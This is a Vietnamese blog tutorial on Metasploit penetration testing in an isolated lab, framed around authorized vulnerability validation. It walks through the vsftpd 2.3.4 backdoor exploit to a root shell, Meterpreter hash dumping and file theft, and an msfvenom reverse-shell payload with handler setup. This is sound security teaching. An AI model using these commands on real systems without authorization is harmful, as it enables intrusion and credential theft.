Metasploit Framework trên Linux: Thực hành Penetration Testing trong môi trường Lab hợp pháp

Security tutorial - IT technology blog
Security tutorial - IT technology blog

Câu hỏi mà Ban Quản lý luôn hỏi

Nhóm bảo mật của bạn gắn cờ một CVE. Ban quản lý muốn biết: “Chúng ta có thực sự bị ảnh hưởng không?” Bạn tra NVD, đọc advisory, có thể chạy thêm Nessus scan — và vẫn không thể đưa ra câu trả lời dứt khoát. Các công cụ scan chỉ cho bạn biết điều gì đó có thể bị khai thác. Exploitation framework mới cho bạn biết nó có thực sự bị khai thác hay không.

Khoảng cách đó — giữa “có thể bị lỗ hổng” và “đã xác nhận có thể khai thác” — là nơi hầu hết các nhóm mất đi sự tự tin. Tôi đã dành một cuối tuần xây dựng một lab Metasploit đúng nghĩa chỉ để lấp đầy khoảng trống đó. Kết quả: tôi ngừng phỏng đoán và bắt đầu chứng minh. Đây là chính xác những gì tôi đã làm.

Tại sao chỉ dùng Scanner là chưa đủ

Vulnerability scanner rất tốt cho việc quét bề mặt nhưng lại kém sâu. Chúng fingerprint các dịch vụ, khớp chữ ký CVE và chấm điểm mức độ nghiêm trọng. Nhưng chúng không kéo được shell.

Một phát hiện CVSS 9.8 không có ý nghĩa gì nếu dịch vụ đó đứng sau một firewall rule, được vá dưới một tên package khác, hoặc bị cấu hình sai theo cách chặn toàn bộ đường khai thác. Tôi đã từng thấy Nessus gắn cờ RCE nghiêm trọng trên một máy mà port lỗ hổng thậm chí không thể tiếp cận từ phân đoạn mạng của kẻ tấn công.

Hầu hết các tổ chức đều biết những gì về lý thuyết bị hỏng. Ít ai xác minh những gì thực tế có thể tiếp cận được. Metasploit lấp đầy khoảng trống đó — nó cho phép bạn mô phỏng chính xác các bước của kẻ tấn công trong môi trường kiểm soát trước khi kẻ tấn công thực sự làm điều đó trên production.

Kiểm soát là từ quan trọng. Mọi thứ trong hướng dẫn này đều chạy bên trong một lab cô lập. Khai thác các hệ thống bạn không sở hữu là hành vi vi phạm pháp luật. Nếu bạn chạy điều này trên hạ tầng của chính mình, hãy nhận được sự cho phép bằng văn bản trước.

Ba cách chạy Metasploit

Chọn cách cài đặt dựa trên những gì bạn thực sự cần:

  • Kali Linux (đã cài sẵn) — Điểm vào dễ nhất. Metasploit đã sẵn sàng sử dụng, không cần thiết lập. Nhược điểm: bạn phải cam kết với một distro đầy đủ trên máy chính hoặc VM.
  • Cài thủ công trên Ubuntu/Debian — Kiểm soát nhiều hơn. Chạy cùng với các công cụ hiện có mà không phá vỡ môi trường của bạn. Mất khoảng 10 phút để thiết lập.
  • Metasploit Pro (thương mại) — Web UI, automated campaigns, team workspaces. Phù hợp cho các dự án enterprise. Quá dư thừa cho một lab cá nhân.

Để học các cơ chế bên trong, cài thủ công trên một Ubuntu VM riêng là lựa chọn tốt nhất. Bạn thấy chính xác những gì đang chạy và tại sao. Các lệnh ánh xạ trực tiếp đến những gì bạn sẽ dùng trong các dự án thực tế.

Thiết lập môi trường Lab

Tối thiểu hai VM, trên cùng một mạng ảo cô lập:

  • Máy tấn công: Ubuntu 22.04 LTS (hoặc Kali)
  • Máy mục tiêu: Metasploitable 2 hoặc 3 — các VM có lỗ hổng cố ý được xây dựng đúng cho mục đích này

Sử dụng VMware hoặc VirtualBox với adapter mạng host-only hoặc internal. Cắt hoàn toàn kết nối internet đến máy mục tiêu. Một máy có lỗ hổng cố ý với IP public không phải là lab — đó là một rủi ro pháp lý.

Cài đặt Metasploit trên Ubuntu

Trình cài đặt chính thức của Rapid7 xử lý tất cả các dependency gọn gàng. Không cần thao tác apt thủ công:

# Tải và chạy trình cài đặt Rapid7
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

Tiếp theo, khởi tạo database. Metasploit dùng PostgreSQL để lưu trữ hosts, services, loot và dữ liệu session giữa các lần chạy:

# Khởi động PostgreSQL và khởi tạo msfdb
sudo systemctl start postgresql
sudo msfdb init

# Khởi chạy console
msfconsole

Lần khởi động đầu tiên mất 30–60 giây trong khi các module được tải. Dấu nhắc msf6 > có nghĩa là bạn đã vào. Xác nhận database đã kết nối trước khi làm bất cứ điều gì:

msf6 > db_status
# Kết quả mong đợi: Connected to msf. Connection type: postgresql.

Nếu database không kết nối, các session và kết quả scan sẽ không được lưu lại. Hãy khắc phục điều này trước.

Exploit thực tế đầu tiên: Walkthrough Metasploitable 2

Metasploitable 2 đi kèm với thông tin đăng nhập mặc định (msfadmin:msfadmin) và một loạt lỗ hổng đã biết. Khởi động nó, ghi lại IP của nó — chúng ta sẽ dùng 192.168.56.101 xuyên suốt — và bắt đầu từ máy tấn công.

Bước 1: Trinh sát với db_nmap

Bỏ qua việc chạy nmap riêng lẻ. Pipe trực tiếp vào database của Metasploit để kết quả có thể truy vấn ngay lập tức:

msf6 > db_nmap -sV -sC -O 192.168.56.101

Hosts và services được lưu trữ tự động. Xem lại những gì đã tìm thấy:

msf6 > hosts
msf6 > services

Trên Metasploitable 2, bạn thường thấy hơn 20 port mở: FTP trên 21, SSH trên 22, HTTP trên 80, SMB trên 445, một instance PostgreSQL trên 5432, và một số dịch vụ legacy không có lý do gì để chạy trên bất kỳ hệ thống nào vào năm 2025.

Bước 2: Chọn Exploit

Metasploitable 2 chạy vsftpd 2.3.4 — một phiên bản có backdoor được cố ý chèn vào bởi kẻ tấn công đã xâm phạm bản phân phối nguồn vào năm 2011. Tìm kiếm nó:

msf6 > search vsftpd

# Kết quả:
# 0  exploit/unix/ftp/vsftpd_234_backdoor  ...  excellent  Yes

Tải module và xem lại những gì nó cần:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > info
msf6 exploit(vsftpd_234_backdoor) > options

Bước 3: Cấu hình và kích hoạt

msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(vsftpd_234_backdoor) > run

# Nếu thành công:
# [*] Command shell session 1 opened
# id
# uid=0(root) gid=0(root)

Shell root trong vòng chưa đầy 30 giây. Backdoor vsftpd đã 14 năm tuổi — vậy mà nó vẫn xuất hiện trong các cuộc kiểm tra nội bộ tại các công ty cho rằng “cũ” đồng nghĩa với “đã được vá”. Giả định không phải là bản vá.

Làm việc với Sessions và Post-Exploitation

Lấy được shell là bước một. Chiều sâu thực sự của Metasploit nằm ở những gì diễn ra sau đó. Đưa session xuống nền và bắt đầu khám phá:

# Đưa session hiện tại xuống nền
Ctrl+Z

# Liệt kê các session đang hoạt động
msf6 > sessions -l

# Nâng cấp shell cơ bản lên Meterpreter
msf6 > sessions -u 1

# Tương tác với một session
msf6 > sessions -i 1

Meterpreter cung cấp cho bạn post-exploitation có cấu trúc thay vì một raw shell:

meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump          # Dump hash từ /etc/shadow
meterpreter > download /etc/passwd /tmp/loot/
meterpreter > run post/linux/gather/enum_system

Riêng module enum_system đã hiển thị phiên bản kernel, các package đã cài, cron jobs, cấu hình sudo và các network interface — tất cả những gì một kẻ tấn công thu thập trước khi di chuyển laterally.

Quy trình làm việc thực sự hiệu quả

Sau khi chạy quy trình này qua nhiều thiết lập lab, đây là quy trình tôi đã chuẩn hóa cho việc xác thực lỗ hổng:

  1. Scan trước, exploit sau. Luôn chạy db_nmap trước khi chạm vào bất cứ thứ gì. Ghi lại những gì bạn tìm thấy trước khi thay đổi bất kỳ trạng thái hệ thống nào.
  2. Dùng workspaces. Giữ các mục tiêu riêng biệt. workspace -a project_name tạo một namespace mới để dữ liệu lab không bị lẫn lộn giữa các dự án.
  3. Log tất cả mọi thứ. Lệnh spool của Metasploit ghi session ra đĩa. Trong các dự án thực tế, báo cáo của bạn phụ thuộc vào nó: spool /tmp/msf_session.log
  4. Dọn dẹp sau khi xong. Ghi lại những gì bạn đã thay đổi, sau đó khôi phục trạng thái ban đầu. Trong lab: revert snapshot VM. Trong production: xóa bất kỳ cơ chế persistence nào bạn đã kiểm tra.

Một điều khiến tôi bị vấp ngã lúc đầu: hầu hết các module Metasploit đều có lệnh check kiểm tra lỗ hổng mà không thực sự khai thác. Hãy dùng nó trong các tình huống không chắc chắn — nó cho bạn xác nhận trước khi bất cứ điều gì không thể đảo ngược xảy ra:

msf6 exploit(ms17_010_eternalblue) > check
# [+] 192.168.56.102:445 - Mục tiêu có lỗ hổng.

Quản lý Credentials và Quyền truy cập trong Lab

Quản lý mật khẩu trên nhiều VM lab nhanh chóng trở nên lộn xộn — đặc biệt khi bạn liên tục tạo và xóa snapshot. Tôi dùng công cụ tạo mật khẩu tại toolcraft.app/vi/tools/security/password-generator cho bất kỳ mật khẩu server hoặc VM nào tôi cần. Nó chạy client-side trên trình duyệt, nên không có dữ liệu nào rời khỏi máy bạn. Đối với một lab bảo mật, công cụ sạch rất quan trọng — bạn sẽ không muốn dùng một password manager gọi về server trong khi bạn đang nghiên cứu các kỹ thuật tấn công.

Các Module đáng dành thời gian tìm hiểu

Khi workflow exploit cơ bản đã quen thuộc, đây là các module xuất hiện nhiều nhất trong công việc lab thực tế:

  • auxiliary/scanner/portscan/tcp — TCP scanner tích hợp trong msfconsole. Tiện lợi khi bạn muốn kết quả được pipe trực tiếp vào database.
  • auxiliary/scanner/smb/smb_ms17_010 — Kiểm tra EternalBlue trên toàn bộ subnet mà không động đến bất kỳ exploit nào.
  • post/multi/recon/local_exploit_suggester — Chạy module này sau khi có được shell với quyền thấp. Nó lấy phiên bản kernel và các package đã cài, sau đó gợi ý các đường leo thang đặc quyền cục bộ từ cơ sở dữ liệu module.
  • exploit/multi/handler — Bắt các reverse shell từ payload bạn tạo bằng msfvenom.

Tạo payload bằng msfvenom và bắt nó bằng handler:

# Tạo payload reverse shell cho Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f elf -o shell.elf

# Thiết lập listener trên máy tấn công
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.100
msf6 > set LPORT 4444
msf6 > run

Khi mục tiêu thực thi shell.elf, kết nối sẽ quay về handler của bạn. Cơ chế tương tự mà kẻ tấn công thực sự sử dụng — đó chính xác là lý do tại sao việc kiểm tra nó trên hệ thống phòng thủ của bạn lại quan trọng đến vậy.

Làm gì với những gì bạn tìm thấy

Kết quả từ lab chỉ có giá trị nếu chúng tạo ra hành động. Đối với mỗi exploit đã xác nhận, hãy ghi lại bốn điều:

  • Dịch vụ bị ảnh hưởng, phiên bản và mã định danh CVE
  • Đường khai thác đã dùng (tên module, payload, vị trí mạng cần thiết)
  • Những gì kẻ tấn công có thể truy cập sau khai thác
  • Biện pháp khắc phục: phiên bản vá, thay đổi cấu hình hoặc biện pháp kiểm soát bù trừ

Share: